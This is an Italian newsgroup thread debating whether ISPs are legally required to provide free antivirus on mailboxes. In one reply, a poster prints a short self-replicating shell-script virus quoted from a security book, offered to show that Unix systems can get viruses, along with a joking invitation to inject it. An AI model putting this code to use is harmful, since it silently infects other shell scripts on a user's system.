Newsgroup: it.diritto.internet
Titolo: Obblighi del fornitore di servizi email

Un ISP è _obbligato_ in base al D.Lgs 196/03
a fornire un servizio mailbox con *sistema antivirus gratuito* ?
All'art.4, comma 3 per definizione di misure minime di sicurezza 
leggiamo:
3. Ai fini del presente codice si intende, altresi', per:
a) "misure minime", il complesso delle misure tecniche, informatiche, 
organizzative, logistiche e procedurali di sicurezza che configurano 
il livello minimo di protezione richiesto in relazione ai rischi 
previsti nell'articolo 31;
Una di queste misure può/deve essere considerato un *sistema 
antivirus gratuito* a livello server?
Diversamente ci sono altri riferimenti normativi a riguardo?
O ancora l'ISP può pretendere il pagamento per un servizio antivirus 
o lo  _deve_ fornire senza costi per l'utente?
Grazie per l'attenzione,
Paola
-- 
FREE MAILBOX by X-Privat: 
http://www.x-privat.org/mail.php
In difesa degli animali: 
http://www.bairo.info/
T&T di Carlo&Paola: 
http://it.photos.yahoo.com/brixina
~L'anima è piena di stelle cadenti~ (V.Hugo)

A< 

 a pagamento o gratuito sono fatti suoi.
Ecco, questo mi interessa.


A< 

 servizio agli utenti.
[SNIP]
Secondo me va distinto l'antivirus che protegge il *server di posta* dal
servizio antivirus che protegge le *singole caselle*.
Capisco che con windows (ossia server windows + clienti windows) la cosa
possa combaciare, ma su sistemi diversi no.
Altrimenti bisognerebbe che tutti gli antivirus versione server
proteggessero contro tutti i virus, di tutti i sistemi operativi
utilizzabili dai clienti.
Esempio pratico: se usi server Mac (o Linux per quel poco che so),
l'antivirus puoi anche non metterlo, il tuo server non ne risentirà
minimamente ;) ma i tuoi clienti windows potrebbero ricevere file
infetti. Vale anche viceversa: se usi server Windows, se non hai
antivirus ti si può bloccare il server, ma magari i tuoi clienti su Mac
sono tranquilli lo stesso.
Morale: secondo me sei a posto con le misure di sicurezza se proteggi il
tuo server ed i dati contenuti, ma penso che il servizio lato cliente
vada visto come servizio aggiuntivo.
Gabriele

A< 

 a fornire un servizio mailbox con *sistema antivirus gratuito* ?
Direi proprio di no.
-- 
Candido - ICQ: 10334649 - Skype: candido2k - MSN: 
cand...@gmail.com

 
Nei confronti dell'utente il provider _deve_ poco. Se e come proteggere i
_miei_ messaggi di posta elettronica sono affari miei, non del provider. Se
poi voglio chiedere un servizio antivirus al provider, se me lo da tanto
meglio. Se me lo da gratis posso anche essere contento, ma essendo quel
paranoico che sono, se me lo da gratis sospetto subito che valga poco...
-- 
AB

 utenti: costa meno.
Pienamente d'accordo.  


 che sono, se me lo da gratis sospetto subito che valga poco... 
Non è sempre cosi. Se ti da l'antivirus gratis potrebbe essere perchè 
magari crede sia opportuno investire su questi strumenti piuttosto 
che sopportare le conseguenze di non averlo fatto.


 
Per caso è quello che sta succedendo ai server di tin?
root@dns:~# mailq|grep refused
            (connect to 
smtp.tin.it
[62.211.72.32]: server refused mail 
service)
            (connect to 
smtp.tin.it
[62.211.72.32]: server refused mail 
service)
            (connect to 
smtp.tin.it
[62.211.72.32]: server refused mail 
service)
       (connect to 
mxrm.virgilio.it
[62.211.72.33]: server refused mail 
service)
       (connect to 
mxrm.virgilio.it
[62.211.72.32]: server refused mail 
service)
       (connect to 
mxrm.virgilio.it
[62.211.72.33]: server refused mail 
service)
            (connect to 
smtp.tin.it
[62.211.72.32]: server refused mail 
service)
            (connect to 
smtp.tin.it
[62.211.72.32]: server refused mail 
service)
       (connect to 
mxrm.virgilio.it
[62.211.72.32]: server refused mail 
service)
            (connect to 
smtp.tin.it
[62.211.72.32]: server refused mail 
service)
           (connect to 
phobos.ientrymail.com
[66.28.139.25]: Connection 
refused)
            (connect to 
smtp.tin.it
[62.211.72.32]: server refused mail 
service)
            (connect to 
smtp.tin.it
[62.211.72.33]: server refused mail 
service)
       (connect to 
mxrm.virgilio.it
[62.211.72.32]: server refused mail 
service)
            (connect to 
smtp.tin.it
[62.211.72.33]: server refused mail 
service)
            (connect to 
smtp.tin.it
[62.211.72.33]: server refused mail 
service)
       (connect to 
mxrm.virgilio.it
[62.211.72.33]: server refused mail 
service)
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
La torre di Pisa...  E se avesse ragione lei?
		-- Walter Waldi

 
D'accordo anche su questo, infatti ho premesso che il ragionamento era da
paranoico :-) . Comunque, se il provider mi fornisce l'AV per il motivo che
tu dici (e che è legittimo), allora è più corretto dire che me lo da
"compreso nel prezzo", piuttosto che "gratis".
Non è semantica. Se il provider me lo da senza costi aggiuntivi facendo i
suoi conti e decidendo che ha ancora margine di guadagno, allora diventa
parte integrante del servizio e deve funzionare come tutto il resto ed
insieme a tutto il resto.
In ogni caso, io cliente devo poter decidere se volerlo o meno, altrimenti
se me lo impongono unilateralmente sussistono due problemi per il provider:
-1- la volta che l'anti-virus becca un falso positivo e me lo intercetta
(mette in quarantena o peggio cancella), questo diventa intercettazione o
sottrazione di corrispondenza -- uno dei reati più gravi dopo l'omicidio,
il sequestro di persona ed il furto di cosa esposta alla pubblica
fede... ;---)
-2- la volta che un messaggio con il virus non è intercettato e mi arriva,
il cliente (che a questo punto ha l'aspettativa di essere protetto)
potrebbe anche rivalersi sul provider.
Rimango dell'idea che l'anti-virus è una buona idea (come del resto dici tu)
dal lato server. Entrare nel merito della corrispondenza dei propri clienti
invece mi lascia perplesso sia sul piano etico, che quello commerciale che
quello tecnico-legale....
-- 
AB

A< 

 tecnico-legale.... 
Perfettamente d'accordo su tutto.
-- 
GIGAMAIL by X-Privat: 
http://www.x-privat.org/gigamail.php
T&T di Carlo&Paola: 
http://it.photos.yahoo.com/brixina
In difesa degli animali: 
http://www.bairo.info/
** Vivisezione: nessuno scopo è così alto da giustificare
metodi così indegni** (Albert Einstein)

 
nel senso che tanto c'è il 187&191 che filtra e che ai piani alti non 
arriva niente?
Mi fa incacchiare il fatto che comunque i miei clienti si lamentano con 
me...
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
Non e' che ho paura di morire.  E' che non vorrei essere li' quando
succede.
		-- Woody Allen

 o lo  _deve_ fornire senza costi per l'utente?
** Non per fare il ruffiano con le donne - e, comunque, non me ne voglia 
Andrew che e' sempre molto attivo - ma la questione e' molto interessante e 
tutt'altro che campata in aria. Il provider, piaccia o no, effettua un 
trattamento di dati altrui, dunque... E se e' obbligato non puo' certo 
girare il costo al cliente (almeno in modo palese, come condizione del 
contratto).
Un saluto.
-- 
Daniele Minotti
dan...@minotti.net
 

 filtri antivirus e un po' di buon senso quando si apre la posta.
Concordo, ho avuto per anni un pc win2000 senza protezione real time e 
non ho mai avuto problemi con virus, basta usare la testa, avere un 
minimo di conoscenze informatiche e un buon programma di posta e tutto 
è risolto.
Un utente che non usa il cervello è in pericolo anche con l'antivirus.
Ciao
Fabio


Vero. Ma non necessariamente dati personali. E poi (ne approfitto visto che
c'è un avv. come prefisso del tuo nome) il provider non potrebbe
configurarsi come quello che nel diritto internazionale è definito "common
carrier" (alla pari del servizio postale o di una compagnia aerea). 
Perdona il termine anglosassone e (forse) il pressapochismo. Gli unici due
corsi universitari di diritto li ho fatti sul diritto anglosassone e su
quello internazionale in una Università non italiana -- ergo potrei essere
sulla strada sbagliata e potrebbe benissimo esserci un termine corretto
italiano per common carrier. Come ho premesso ne approfitto di quel
prefisso "avv" ;-)
-- 
AB

 ne farebbe a meno.
Ehm scusa ma che differenza fai tu tra "scansione del contenuto" e
"filtri entrata/uscita" ? filtri di cosa ?
Gabriele

A< 

 o lo  _deve_ fornire senza costi per l'utente?
Non sono un avvocato.
Penso che ognuno abbia obblighi di protezione dei dati ma con
modalita' diverse. Per te, le mailbox degli utenti sono delle
blackbox e non tratti certo i dati in esse contenuti (ma solo
i loro di envelope, al limite), che vengono trattati da loro,
su loro sistemi. Andando oltre (e sempre piu' al di fuori del
mio ambito di competenza) direi che e' il contrario: azioni a
carico dei contenuti delle mail dell'utente potrebbero essere
considerate violazioni della corrispondenza, e/o interruzioni
del servizio erogato, in mancanza di accordi contrattuali tra
le due parti. Il solito inutile (e potenzialmente fuorviante)
paragone  e' quello del postino: tu sei il postino, mica devi
aprire le buste per vedere se dentro c'e' una polvere bianca.
Ma devi stare attento che nessuno te le rubi. Ribaltando 'sto
paragone alla variante informatica, tu ha probabilmente degli
obblighi legati alla protezione dei server di posta, e questo
a prescindere dal sistema operativo. Il contenuto delle mbox,
a mio parere, dovrebbe essere un problema dell'utente, che si
deve far carico, e anche economicamente, della protezione dei
_suoi_ sistemi, che son quelli che sono messi in pericolo dal
contenuto malevolo della mail, e che sono i sistemi che _lui_
ha l'obbligo di proteggere, non tu. Forse. Spero di non avere
usato dei termini a sproposito.
Uhmm... mi sembra di essere in linea, piu' o meno, con quello
che dice gabriele, a parte che non ritengo che una protezione
possa esserci o meno in base al sistema operativo dei server.
Fabio

 
Abbastanza vero all'atto pratico, tuttavia sfatiamo che esistano S.O. immuni
dai virus. Unix (e tutti i suoi derivati) ne hanno --anzi virus, worm & Co.
sono nati sotto Unix. Mac ha i suoi. Anche i mainframe hanno i loro.
La stragrande maggioranza dei virus/worm in circolazione hanno come
bersaglio MS, quindi se usi un altro sistema operativo le probabilita' di
prenderti un virus/worm sono basse, molto basse, ma non zero.
Eccoti un esempio (banale) di virus sotto Unix -- che nella sua semplicita'
ha una caratteristica micidiale, di essere trasportabile sotto qualunque
Unix, Linux, e qualunque cosa finisca con X purche' dotato di interprete
shell:
NB: a parte replicare se stesso questo virus non fa nient'altro:
-.-.-.-
#!/bin/sh
for i in *
do case "`sed 1q $i`" in
  "#!/bin/sh")
    grep '#virus#' $i > /dev/null || sed -n '/#virus#/,$p' $0 >> $i
  esac
done 2>/dev/null
.-.-.-.
(preso dal libro "Unix System Security" di David A. Curry)
Per favore, iniettalo da solo nel tuo sistema sono troppo pigro per
inventarmi un metodo di trasporto... ;-))))
-- 
AB

 compagnia aerea).
** Si', ha una posizione analoga (cfr. lgs. 70/2003). Cio', pero', non lo 
esonera da responsabilita' in quanto svolge un trattamento.


 
-- 
AB

 e ha ottima mira).
Ah ma allora parliamo all'incirca della stessa cosa.
Per questo vanno bene le blacklist e vari check sugli headers, nonché
sul tipo di estensione di eventuali allegati.
Gabriele

 comunicazioni commerciali indesiderate??? Mi parrebbe strano...
** Le poste trattano sicuramente dati personali quando smistano 
corrispondenza. Rispondono nei limiti dell'art. 15 TU. Non possono, ad 
esempio guardare se la comunicazione e' indesiderata, idem chi tratta posta 
elettronica.
